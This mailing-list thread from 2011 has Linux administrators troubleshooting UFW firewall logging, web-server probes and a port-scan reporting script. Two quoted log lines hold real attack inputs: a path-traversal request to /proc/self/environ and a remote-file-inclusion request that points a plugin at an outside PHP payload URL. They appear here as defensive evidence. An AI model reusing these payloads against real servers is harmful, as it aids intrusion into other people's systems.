> More majordomo info at  http://vger.kernel.org/majordomo-info.html

^ permalink raw reply	[flat|nested] 11+ messages in thread

* RE: UFW logging
  2011-12-20 15:41     ` Marcel Galke - Trans4mation
@ 2011-12-20 16:32       ` Dermot Paikkos
  0 siblings, 0 replies; 11+ messages in thread
From: Dermot Paikkos @ 2011-12-20 16:32 UTC (permalink / raw)
  To: linux-admin

Well if there is a security team, then I am it :)

Yes the IP does change. The MAC address is consistent but I am guessing 
that this refers to eth0 on the server.

I am not sure what sort of connection limit you mean. One that is set on 
the httpd server on somewhere else?

This rule 'should' allow port 80 and 443 through though!

ACCEPT tcp  --  *   * 0.0.0.0/0  0.0.0.0/0   multiport dports 80,443 /* 
'dapp_Apache%20Full'

so I don't know why the are log entries that say port 80 is blocked. 
Like I said, I have not heard from anyone that they cannot connect to 
the site either. Perhaps I should increase the log level in case that 
gives me more details.
Dp.






> -----Original Message-----
> From: Marcel Galke - Trans4mation 
[mailto:Marcel.Galke@trans4mation.de]
> Sent: 20 December 2011 15:42
> To: linux-admin@vger.kernel.org
> Subject: RE: UFW logging
> 
> The  lines containing " ... [UFW BLOCK] ...PROTO=TCP SPT=56527 DPT=80 
"
> definitively refer to HTTP, for me.
> 
> May be it's the best to inform your security team about your problems.
> They got better wappons then ufw. ;)
> The source IPs are changing quickly, so it's not possible to set a
> connection limit per host.
> Have you set a connection limit for your websites?
> 
> 
> Regards Marcel
> 
> > -----Original Message-----
> > From: linux-admin-owner@vger.kernel.org [mailto:linux-admin-
> > owner@vger.kernel.org] On Behalf Of Dermot Paikkos
> > Sent: Tuesday, December 20, 2011 4:30 PM
> > To: linux-admin@vger.kernel.org
> > Subject: RE: UFW logging
> >
> > > -----Original Message-----
> > >
> > > Hello Dermot,
> > >
> > > as far as I can see, HTTP is blocked (DPT=80).
> > >
> > > Why are you using UFW. You've got a DMZ?
> > >
> > >
> > > Regards Marcel
> >
> > Well I really hope that port 80 is open! I have not heard any
> complaints
> > from users and I can still connect.
> >
> > The command I ran was `ufw allow "Apache Full"`. This should have
> > enabled the profile for Apache that is stored in
> > /etc/ufw/applications.d/apache2.2-common.
> >
> > I am using UFW because I wanted to reject connections from those
> hosts
> > that I could find in the httpd logs that were attempt to run the php
> > exploits, I mentioned. There is a firewall in front of the server.
> The
> > rules for the firewall allow all traffic to port 80 but it's not
> > directly under my control. I thought that UFW would give me finer
> > control over what hosts could connection.
> >
> > Are you saying that the log entries I mentioned are for connections
> to
> > port 80? Out of 300 log entries, 288 refer to DPT=80.
> >
> > I thought this rule would allow traffic to port 80:
> >
> > ACCEPT tcp  --  *   *   0.0.0.0/0  0.0.0.0/0   multiport dports
> 80,443
> > /* 'dapp_Apache%20Full'
> >
> > Is it possible that these log entries refer to blocks to port 80 for
> > some other reason, incomplete packets perhaps?
> >
> > Thanks,
> > Dermot.
> >
> >
> > Here are a few more log entries.:
> >
> > Dec 20 15:16:50 spl-live-04 kernel: [4815860.546796] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
> > ID=5744 PROTO=TCP SPT=35936 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> > URGP=0
> > Dec 20 15:17:10 spl-live-04 kernel: [4815880.590616] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
> > ID=12876 PROTO=TCP SPT=38735 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> > URGP=0
> > Dec 20 15:17:30 spl-live-04 kernel: [4815900.544664] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=148.134.37.3 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
> > ID=42844 PROTO=TCP SPT=35936 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> > URGP=0
> > Dec 20 15:17:52 spl-live-04 kernel: [4815921.978254] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=46.103.144.234 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=54
> > ID=49496 DF PROTO=TCP SPT=49793 DPT=80 WINDOW=65535 RES=0x00 ACK
> > RST
> > URGP=0
> > Dec 20 15:18:11 spl-live-04 kernel: [4815940.856559] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=167.21.254.12 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=50
> > ID=22633 PROTO=TCP SPT=56527 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> > URGP=0
> > Dec 20 15:18:31 spl-live-04 kernel: [4815961.228775] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=194.209.88.151 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=49
> > ID=36073 PROTO=TCP SPT=59930 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> > URGP=0
> > Dec 20 15:18:50 spl-live-04 kernel: [4815980.576344] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=145.36.235.4 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=53
> > ID=45980 PROTO=TCP SPT=27691 DPT=80 WINDOW=1032 RES=0x00 ACK FIN
> > URGP=0
> > Dec 20 15:19:11 spl-live-04 kernel: [4816001.276032] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=82.137.200.53 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=47
> > ID=36569 PROTO=TCP SPT=62544 DPT=80 WINDOW=1032 RES=0x00 ACK FIN
> > URGP=0
> > Dec 20 15:19:31 spl-live-04 kernel: [4816021.003750] [UFW BLOCK]
> > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > SRC=34.254.119.222 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 TTL=58
> > ID=34212 PROTO=TCP SPT=53102 DPT=80 WINDOW=65535 RES=0x00 ACK FIN
> > URGP=0
> >
> >
> >
> >
> >
> >
> > > > -----Original Message-----
> > > > From: linux-admin-owner@vger.kernel.org [mailto:linux-admin-
> > > > owner@vger.kernel.org] On Behalf Of Dermot Paikkos
> > > > Sent: Tuesday, December 20, 2011 3:03 PM
> > > > To: linux-admin@vger.kernel.org
> > > > Subject: UFW logging
> > > >
> > > > Hi,
> > > >
> > > > I noticed on our company http server that I had a lot of
> 'probes'.
> > My
> > > > logwatch file (text-mode) is 3+MB and rising. I have thousands 
of
> > > > entries in my logwatch reports:
> > > >
> > > > A total of 5711 sites probed the server
> > > >     1.152.198.116
> > > >     1.22.185.5
> > > >     1.23.105.130
> > > >     1.38.24.232
> > > >     1.38.25.24
> > > >     1.39.95.219
> > > >     1.53.101.185
> > > >     101.108.239.43
> > > > ...
> > > > ...
> > > > ...
> > > >
> > > > I'm not sure what the above probes are. Any help in 
understanding
> > the
> > > > above would be appreciated.
> > > >
> > > > I also have several entries like this:
> > > >
> > > > A total of 4 possible successful probes were detected (the
> following
> > > > URLs
> > > >  contain strings that match one or more of a listing of strings
> that
> > > >  indicate a possible exploit):
> > > >
> > > >
> > > >
> > >
> >
> 
/images/?option=com_sectionex&controller=../../../../../../../../../../
> > > .
> > > > ./../..//proc/self/environ%0000 HTTP Response 200
> > > >     /?
> > > >
> > > > I believe these are php exploits.
> > > >
> > > > To help secure the server, I installed UFW, enabled and allowed
> > HTTP,
> > > > HTTPS and SSH. I then monitored the logs to see what was
> happening.
> > > What
> > > > I am not clear on is what service the log entries below refer 
to.
> > > >
> > > >
> > > > Dec 20 13:10:35 myserver kernel: [4808284.769172] [UFW BLOCK]
> > > > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > > > SRC=194.27.44.2 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 
TTL=109
> > > > ID=10243 DF PROTO=TCP SPT=6565 DPT=80 WINDOW=4320 RES=0x00
> > ACK
> > > > FIN
> > > > URGP=0
> > > > Dec 20 13:11:01 myserver kernel: [4808311.356089] [UFW BLOCK]
> > > > IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> > > > SRC=151.96.254.4 DST=217.222.0.x LEN=40 TOS=0x00 PREC=0x00 
TTL=55
> > > > ID=44116 PROTO=TCP SPT=58842 DPT=80 WINDOW=1032 RES=0x00 ACK
> > RST
> > > > URGP=0
> > > >
> > > > I am getting an entry like this every 20-30 seconds. Can anyone
> tell
> > > me
> > > > what service/port is being blocked in the above log entries?
> > > >
> > > > Below are the rules at the moment.
> > > > Thanks in advance,
> > > > Dermot
> > > >
> > > > Chain ufw-user-input (1 references)
> > > >     pkts      bytes target     prot opt in     out     source
> > > >      destination
> > > >    29164  1620981 ACCEPT     tcp  --  *      *       0.0.0.0/0
> > > >    0.0.0.0/0           tcp dpt:80 /* 'dapp_Apache' */
> > > >     5151   299728 ACCEPT     tcp  --  *      *       0.0.0.0/0
> > > >    0.0.0.0/0           multiport dports 80,443 /*
> > > 'dapp_Apache%20Full'
> > > > */
> > > >        3      180 ACCEPT     tcp  --  *      *       0.0.0.0/0
> > > >    0.0.0.0/0           tcp dpt:22 /* 'dapp_OpenSSH' */
> > > >        0        0 REJECT     all  --  *      *
> 220.162.244.251
> > > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > > >        0        0 REJECT     all  --  *      *
> 217.115.199.40
> > > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > > >        0        0 REJECT     all  --  *      *
> 93.84.116.216
> > > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > > >        0        0 REJECT     all  --  *      *
> 85.10.204.194
> > > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > > >        0        0 REJECT     all  --  *      *
> 221.232.155.6
> > > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > > >        0        0 REJECT     all  --  *      *
> 122.255.96.164
> > > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > > >        0        0 REJECT     all  --  *      *
> 77.240.21.131
> > > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > > >        0        0 REJECT     all  --  *      *       83.170.79.6
> > > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > > >
> > > > Chain ufw-user-forward (1 references)
> > > >     pkts      bytes target     prot opt in     out     source
> > > >      destination
> > > >
> > > > Chain ufw-user-output (1 references)
> > > >     pkts      bytes target     prot opt in     out     source
> > > >      destination
> > > >
> > > > Chain ufw-user-limit-accept (0 references)
> > > >     pkts      bytes target     prot opt in     out     source
> > > >      destination
> > > >        0        0 ACCEPT     all  --  *      *       0.0.0.0/0
> > > >    0.0.0.0/0
> > > >
> > > > Chain ufw-user-limit (0 references)
> > > >     pkts      bytes target     prot opt in     out     source
> > > >      destination
> > > >        0        0 LOG        all  --  *      *       0.0.0.0/0
> > > >    0.0.0.0/0           limit: avg 3/min burst 5 LOG flags 0 
level
> 4
> > > > prefix `[UFW LIMIT BLOCK] '
> > > >        0        0 REJECT     all  --  *      *       0.0.0.0/0
> > > >    0.0.0.0/0           reject-with icmp-port-unreachable
> > > > --
> > > > To unsubscribe from this list: send the line "unsubscribe linux-
> > > admin" in
> > > > the body of a message to majordomo@vger.kernel.org
> > > > More majordomo info at  http://vger.kernel.org/majordomo-
> info.html
> > > --
> > > To unsubscribe from this list: send the line "unsubscribe linux-
> admin"
> > > in
> > > the body of a message to majordomo@vger.kernel.org
> > > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> >
> >
> > --
> > To unsubscribe from this list: send the line "unsubscribe linux-
> admin" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> --
> To unsubscribe from this list: send the line "unsubscribe linux-admin"
> in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html



^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: UFW logging
  2011-12-20 14:03 UFW logging Dermot Paikkos
  2011-12-20 14:54 ` Marcel Galke - Trans4mation
@ 2011-12-20 18:30 ` terry white
  2011-12-21 12:13   ` Dermot Paikkos
  2011-12-24 19:45   ` logging: probes and ports terry white
  2011-12-22 15:58 ` UFW logging Saurabh Bathe
  2 siblings, 2 replies; 11+ messages in thread
From: terry white @ 2011-12-20 18:30 UTC (permalink / raw)
  To: linux-admin

... ciao:

: on "12-20-2011" "Dermot Paikkos" writ:
: I have thousands of entries in my logwatch reports:

   this from an hourly "Active System Attack Alerts" report.

"Dec 17 20:14:47 aniota kernel: Packet log: input REJECT ppp0 PROTO=6
 218.53.151.177:6000 63.225.163.145:1433 L=40 S=0x00 I=256 F=0x0000 
 T=106  SYN (#8)

    as a general rule, size of these reports tends to suggest how active, 
system breach attempts, are.  typically, 10K was seen as notable, lately, 
i'm seeing 40-80K per hour.  t`would seem the natives are restless.

: A total of 5711 sites probed the server 
:     1.152.198.116
:     1.22.185.5
:     1.23.105.130
:     1.38.24.232
:     1.38.25.24
:     1.39.95.219
:     1.53.101.185
:     101.108.239.43
: 
: I'm not sure what the above probes are.

   that, if complete, tells you where the probes initiated.  i have a vt 
running "lynx" pointed at arin to do arin, ripe, lookups. for instance:

   re: 1.152.198.116

   "Network
    NetRange 1.0.0.0 - 1.255.255.255
    CIDR 1.0.0.0/8
    Name APNIC-1
    Handle NET-1-0-0-0-1
    Parent
    Net Type Allocated to APNIC"  from 'arin';

  "inetnum:        1.128.0.0 - 1.159.255.255
   netname:        TELSTRAINTERNET49-AU
   descr:          Telstra
   descr:          Level 12, 242 Exhibition St
   descr:          Melbourne
   descr:          VIC  3000
   country:        AU"            from "apnic".

: I also have several entries like this:

: A total of 4 possible successful probes were detected (the following 
: URLs  contain strings that match one or more of a listing of strings that
: indicate a possible exploit):
:
: /images/?option=com_sectionex&controller=../../../../../../../../../../.
: ./../..//proc/self/environ%0000 HTTP Response 200 
: I believe these are php exploits.

    the "HTTP Response 200", on the surface of it, is troublesome.  
HOWEVER, the http (apache) logs are a more telling indicator of what served 
up.

    "217.26.127.140 - - [20/Dec/2011:01:43:57 -0800] "GET 
     //wp-content/plugins/rekt-slideshow/picsize.php?
     src=http://blogger.com.1mmt.ru/flash/a.gif.php 
     HTTP/1.1" 404 356"

    here the "HTTP/1.1" 404" means the reqyest was not satisfied.

    error codes are your friend.

: To help secure the server, I installed UFW, enabled and allowed HTTP, 
: HTTPS and SSH. I then monitored the logs to see what was happening. What 
: I am not clear on is what service the log entries below refer to.
: 
: Dec 20 13:10:35 myserver kernel: [4808284.769172] [UFW BLOCK]
: IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
: SRC=194.27.44.2 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=109
: ID=10243 DF PROTO=TCP SPT=6565 DPT=80 WINDOW=4320 RES=0x00 ACK FIN
: URGP=0

    "PROTO=TCP SPT=6565 DPT=80"

    'DPT=80' is the "destination port", YOU. 

    from "/etc/services"

    "# service-name  port/protocol  [aliases ...]   [# comment]
       http          80/tcp         www www-http    # WorldWideWeb HTTP
       http          80/udp         www www-http    # HTTP"

    so, here we are seeing 'http' processed, however, i am not convinced it 
being blocked at all.  from your supplied rules, looks like http wide open 
...

: Chain ufw-user-input (1 references)
:     pkts      bytes target     
:    29164    1620981 ACCEPT       tcp dpt:80 /* 'dapp_Apache' */

-- 
... it's not what you see ,
    but in stead , notice ...

^ permalink raw reply	[flat|nested] 11+ messages in thread

* RE: UFW logging
  2011-12-20 18:30 ` terry white
@ 2011-12-21 12:13   ` Dermot Paikkos
  2011-12-24 19:45   ` logging: probes and ports terry white
  1 sibling, 0 replies; 11+ messages in thread
From: Dermot Paikkos @ 2011-12-21 12:13 UTC (permalink / raw)
  To: linux-admin, twhite

Hi

> -----Original Message-----
> 
> : on "12-20-2011" "Dermot Paikkos" writ: (my mother always told me 
there is no such word as 'writ')
 
>     as a general rule, size of these reports tends to suggest how
> active,
> system breach attempts, are.  typically, 10K was seen as notable,
> lately,
> i'm seeing 40-80K per hour.  t`would seem the natives are restless.

Indeed. Although my numbers are slightly down on yesterday.

A total of 4861 sites probed the server 
    1.22.41.192
    1.23.101.84

> : A total of 5711 sites probed the server
> :     1.152.198.116
> :     1.22.185.5
> :     1.23.105.130
> :     1.38.24.232
> :     1.38.25.24
> :     1.39.95.219
> :     1.53.101.185
> :     101.108.239.43
> :
> : I'm not sure what the above probes are.
> 
>    that, if complete, tells you where the probes initiated.  i have a
> vt
> running "lynx" pointed at arin to do arin, ripe, lookups. for 
instance:
> 
>    re: 1.152.198.116
> 
>    "Network
>     NetRange 1.0.0.0 - 1.255.255.255
>     CIDR 1.0.0.0/8
>     Name APNIC-1
>     Handle NET-1-0-0-0-1
>     Parent
>     Net Type Allocated to APNIC"  from 'arin';
> 
>   "inetnum:        1.128.0.0 - 1.159.255.255
>    netname:        TELSTRAINTERNET49-AU
>    descr:          Telstra
>    descr:          Level 12, 242 Exhibition St
>    descr:          Melbourne
>    descr:          VIC  3000
>    country:        AU"            from "apnic".

I've followed your lead here although I haven't used lynx. I found the 
providers through ripe and sent an email to abuse/hostmaster with the 
log entries.

> : I also have several entries like this:


Today I had 94, all from someone in .cn.

A total of 94 possible successful probes were detected (the following 
URLs
 contain strings that match one or more of a listing of strings that
 indicate a possible exploit):


>     the "HTTP Response 200", on the surface of it, is troublesome.
> HOWEVER, the http (apache) logs are a more telling indicator of what
> served
> up.

I have changed the 200 response to a 404. By default (or mistake) all 
the not found urls were being served up with a 200 response. I suspect 
that might have attracted un-wanted attention and lead the abuser to 
suspect we run php, which we don't.

> 
> 
> : To help secure the server, I installed UFW, enabled and allowed 
HTTP,
> : HTTPS and SSH. I then monitored the logs to see what was happening.
> What
> : I am not clear on is what service the log entries below refer to.
> :
> : Dec 20 13:10:35 myserver kernel: [4808284.769172] [UFW BLOCK]
> : IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
> : SRC=194.27.44.2 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=109
> : ID=10243 DF PROTO=TCP SPT=6565 DPT=80 WINDOW=4320 RES=0x00 ACK FIN
> : URGP=0
> 
>     "PROTO=TCP SPT=6565 DPT=80"
> 
>     'DPT=80' is the "destination port", YOU.
> 
>     from "/etc/services"
> 
>     "# service-name  port/protocol  [aliases ...]   [# comment]
>        http          80/tcp         www www-http    # WorldWideWeb 
HTTP
>        http          80/udp         www www-http    # HTTP"
> 
>     so, here we are seeing 'http' processed, however, i am not
> convinced it
> being blocked at all.  from your supplied rules, looks like http wide
> open
> ...
> 
> 
> : Chain ufw-user-input (1 references)
> :     pkts      bytes target
> :    29164    1620981 ACCEPT       tcp dpt:80 /* 'dapp_Apache' */

This is what I thought. This rule, and the one for 443, is pretty clear. 
It should not be blocking port 80. So the log message is still a 
mystery. As I said, if the site was not available on port 80, I would 
have heard about it. The amount of logging ufw is making needs 
attention. It's filling my kern, messages and syslog files with it's 
output. Back to the man pages.
Thanks,
Dermot.






^ permalink raw reply	[flat|nested] 11+ messages in thread

* logging: probes and ports ...
  2011-12-20 18:30 ` terry white
  2011-12-21 12:13   ` Dermot Paikkos
@ 2011-12-24 19:45   ` terry white
  1 sibling, 0 replies; 11+ messages in thread
From: terry white @ 2011-12-24 19:45 UTC (permalink / raw)
  To: linux-admin

[-- Attachment #1: Type: TEXT/PLAIN, Size: 554 bytes --]

... ciao:

: : A total of 5711 sites probed the server 
: :     1.152.198.116
: :     1.22.185.5
: :     1.23.105.130
: :     1.38.24.232 ...
 
   i have for some time, used a script that looks for such information, and 
mails it to me.
 

   "Subject: Dec 23 Probes:  655 on 483 ports ...

    # Scans Port No:
          9 22
         75 23 
        ... .. and so on."


    i have massaged it somewhat, for human consumption.
 
    if it useful, great.
 
    included as an attachment ...


-- 
... it's not what you see ,
    but in stead , notice ...

[-- Attachment #2: a cron.daily event ... --]
[-- Type: TEXT/PLAIN, Size: 1511 bytes --]

#!/bin/sh

#	aniota.com	twhite@

#	ports:		cron event
#	11-16-2009
#		scanned 'ports' report for yesterday
#	01-01-2010
#		fixed "Jan  1" date problem:	+"%b %_d"  
#	12-24-2011
#		for general consumption
#
#		ASSUMED:
#			LOG="/var/log/kernel"
#			MAIL="root@localhost"
#
#			'Packet' entry looks (something) like:
#	  "Dec 23 23:43:04 aniota kernel: Packet log: input REJECT ppp0 
#	   PROTO=17 198.41.0.4:53 63.225.163.150:29496 L=450 S=0x00 
#	   I=48767 F=0x0000 T=57 (#182)" 


#################################
#	user dependant		#
#################################
        #       flavour to taste
LOG="/var/log/kernel"
MAIL="root@localhost"



#################################
#       not'sa much		#
#################################
	#	temp file(s)
FILE="$RANDOM"
COUNT="$FILE-C"

	#	"Dec 23"	"12-23-2011"
Y="`date -d "yesterday" +"%b %_d"`"
T="`date -d "yesterday" +"%m-%d-%y"`"


	#	62415, 5928, 21595, ... list of ports
grep "$Y" $LOG			| \
grep "Packet" | cut -d ":" -f 7 | \
cut -d " " -f 1 > $FILE

	#	number of scans ... in above list
NOS="`cat $FILE | wc -l`"

        #       1 64861; count, port ... from above list
sort -n $FILE | uniq -c				> $COUNT

        #       number of ports  ... cough , cough
NOP="`cat $COUNT | wc -l`"

	#	mail pretty printing
echo "# Scans Port No:"				>  $FILE
cat $COUNT					>> $FILE

	#	mail the damn thing ...
cat $FILE | mail $MAIL -s "$Y Probes:  $NOS on $NOP ports ..."
rm -f $FILE*

exit

^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: UFW logging
  2011-12-20 14:03 UFW logging Dermot Paikkos
  2011-12-20 14:54 ` Marcel Galke - Trans4mation
  2011-12-20 18:30 ` terry white
@ 2011-12-22 15:58 ` Saurabh Bathe
  2011-12-23  0:38   ` kalinix
  2 siblings, 1 reply; 11+ messages in thread
From: Saurabh Bathe @ 2011-12-22 15:58 UTC (permalink / raw)
  To: linux-admin

On Tuesday 20 December 2011 07:33 PM, Dermot Paikkos wrote:
> Chain ufw-user-limit (0 references)
>      pkts      bytes target     prot opt in     out     source
>       destination
>         0        0 LOG        all  --  *      *       0.0.0.0/0
>     0.0.0.0/0           limit: avg 3/min burst 5 LOG flags 0 level 4
> prefix `[UFW LIMIT BLOCK] '

I would say the rule above *could* be suspect, which would log anything 
that it catches. Depending on where in the filter it is being 
referenced, it maybe catching those packets. I cannot say definitively 
without actually seeing whole iptables -nL output.

Thanks,
Saurabh

^ permalink raw reply	[flat|nested] 11+ messages in thread

* Re: UFW logging
  2011-12-22 15:58 ` UFW logging Saurabh Bathe
@ 2011-12-23  0:38   ` kalinix
  2011-12-23  9:37     ` Dermot Paikkos
  0 siblings, 1 reply; 11+ messages in thread
From: kalinix @ 2011-12-23  0:38 UTC (permalink / raw)
  To: Saurabh Bathe; +Cc: linux-admin



On Thu, 2011-12-22 at 21:28 +0530, Saurabh Bathe wrote: 
> On Tuesday 20 December 2011 07:33 PM, Dermot Paikkos wrote:
> > Chain ufw-user-limit (0 references)
> >      pkts      bytes target     prot opt in     out     source
> >       destination
> >         0        0 LOG        all  --  *      *       0.0.0.0/0
> >     0.0.0.0/0           limit: avg 3/min burst 5 LOG flags 0 level 4
> > prefix `[UFW LIMIT BLOCK] '
> 
> I would say the rule above *could* be suspect, which would log anything 
> that it catches. Depending on where in the filter it is being 
> referenced, it maybe catching those packets. I cannot say definitively 
> without actually seeing whole iptables -nL output.
> 
> Thanks,
> Saurabh
> --
> To unsubscribe from this list: send the line "unsubscribe linux-admin" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

It's not blocked, it's limited to 3 packets per minute, with a burst to
5. Only when this limit is reached the connection is blocked and the
event is logged with the [UFW LIMIT BLOCK]. So you may want to check
your syslog (or whatever logging system you are using) for this prefix.
While this doesn't prevent users to connect to your server, it can
affect the legit traffic.

What you need is an IDS (either ModSecurity for apache [1] and/or ossec
[2] - but hey, a strong tweaking is necessary for both of them in order
to work as desired - you have been warned :) )



[1] http://www.modsecurity.org/
[2] http://www.ossec.net/

P.S. there is a good howto for mod_security on Ubuntu (I presume you are
using Ubuntu) here:
http://blog.bodhizazen.net/linux/how-to-mod_security-ubuntu-904/

HTH

-- 


Calin

Key fingerprint = 37B8 0DA5 9B2A 8554 FB2B 4145 5DC1 15DD A3EF E857

=================================================
What an artist dies with me! -- Nero



^ permalink raw reply	[flat|nested] 11+ messages in thread

* RE: UFW logging
  2011-12-23  0:38   ` kalinix
@ 2011-12-23  9:37     ` Dermot Paikkos
  0 siblings, 0 replies; 11+ messages in thread
From: Dermot Paikkos @ 2011-12-23  9:37 UTC (permalink / raw)
  To: linux-admin


> -----Original Message-----
> On Thu, 2011-12-22 at 21:28 +0530, Saurabh Bathe wrote:
> > On Tuesday 20 December 2011 07:33 PM, Dermot Paikkos wrote:
> > > Chain ufw-user-limit (0 references)
> > >      pkts      bytes target     prot opt in     out     source
> > >       destination
> > >         0        0 LOG        all  --  *      *       0.0.0.0/0
> > >     0.0.0.0/0           limit: avg 3/min burst 5 LOG flags 0 level
> 4
> > > prefix `[UFW LIMIT BLOCK] '
> >
> > I would say the rule above *could* be suspect, which would log
> anything
> > that it catches. Depending on where in the filter it is being
> > referenced, it maybe catching those packets. I cannot say
> definitively
> > without actually seeing whole iptables -nL output.
> >
> > Thanks,
> > Saurabh
> > --
> > To unsubscribe from this list: send the line "unsubscribe linux-
> admin" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> It's not blocked, it's limited to 3 packets per minute, with a burst 
to
> 5. Only when this limit is reached the connection is blocked and the
> event is logged with the [UFW LIMIT BLOCK]. So you may want to check
> your syslog (or whatever logging system you are using) for this 
prefix.
> While this doesn't prevent users to connect to your server, it can
> affect the legit traffic.

That makes sense give the rules. It must be a default rule as I did not 
add it. I was getting one of these blocks every 30 seconds. I'm guessing 
this is to protect as DOS attacks.


> What you need is an IDS (either ModSecurity for apache [1] and/or 
ossec
> [2] - but hey, a strong tweaking is necessary for both of them in 
order
> to work as desired - you have been warned :) )

I had seen references to modsecurity but ufw seemed like a simpler 
solution.

As it turns out I have to disable ufw yesterday. A user in Switzerland 
reported problems connecting. The IP they gave me can't be found in any 
of the logs, syslog or httpd, so I assume they do not know their IP 
address. 

The attempted php exploits are down today. Just the one yesterday. I 
suspect that might be because the server now correctly returns 404 for 
these url. 

 
> [1] http://www.modsecurity.org/
> [2] http://www.ossec.net/
> 
> P.S. there is a good howto for mod_security on Ubuntu (I presume you
> are
> using Ubuntu) here:
> http://blog.bodhizazen.net/linux/how-to-mod_security-ubuntu-904/

Thanks for the link. I'll have a read.  
Thanks all and happy holidays if your getting one.
Dermot.


^ permalink raw reply	[flat|nested] 11+ messages in thread

end of thread, other threads:[~2011-12-24 19:45 UTC | newest]

Thread overview: 11+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2011-12-20 14:03 UFW logging Dermot Paikkos
2011-12-20 14:54 ` Marcel Galke - Trans4mation
2011-12-20 15:29   ` Dermot Paikkos
2011-12-20 15:41     ` Marcel Galke - Trans4mation
2011-12-20 16:32       ` Dermot Paikkos
2011-12-20 18:30 ` terry white
2011-12-21 12:13   ` Dermot Paikkos
2011-12-24 19:45   ` logging: probes and ports terry white
2011-12-22 15:58 ` UFW logging Saurabh Bathe
2011-12-23  0:38   ` kalinix
2011-12-23  9:37     ` Dermot Paikkos

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.